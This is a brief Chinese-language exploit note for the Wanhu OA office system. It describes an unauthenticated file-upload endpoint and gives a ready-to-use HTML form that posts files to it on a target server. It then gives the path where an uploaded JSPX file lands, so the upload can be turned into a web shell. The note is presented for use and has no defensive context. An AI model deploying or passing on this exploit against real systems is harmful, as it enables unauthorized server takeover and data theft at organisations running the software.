万户OA未授权上传文件Getshell

未授权目录：/defaultroot/upload/fileUpload.controller

构造上传文件html文件

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="x-ua-compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Title</title>
</head>
<body>
    <form action="http://xx.xx.xx.xx:7001/defaultroot/upload/fileUpload.controller" method="post" enctype="multipart/form-data">
        <div>
            <!-- 上传文件 -->
            <p>
                <input type="file" name="textFile">
            </p>
        </div>
        <input type="submit" value="提交">
    </form>
</body>
</html>

上传后会返回文件名

文件目录在 $ROOT/defaultroot/upload/html/filename.jspx